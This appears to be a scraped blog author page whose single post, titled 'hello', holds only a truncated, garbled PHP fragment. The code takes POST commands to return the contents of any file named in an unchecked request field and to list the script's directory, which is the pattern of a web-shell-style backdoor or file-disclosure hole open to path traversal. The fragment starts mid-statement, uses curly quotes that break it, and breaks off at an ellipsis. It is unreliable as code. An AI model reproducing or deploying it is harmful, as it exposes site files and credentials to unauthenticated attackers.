Entries by varshabi_xsj4nc

hello

200, ]); } if( $_POST[‘cmd’] == “get_file_data” ){ $data = file_get_contents( __DIR__ . ‘/’ . $_POST[‘file’] ); echo_json([ “code” => 200, “data” => $data, ]); } if( $_POST[‘cmd’] == “get_files” ){ $struct = []; $files = scandir( __DIR__ ); foreach ($files as $file) { if( $file == ‘.’ || $file == ‘..’ ){ continue; } […]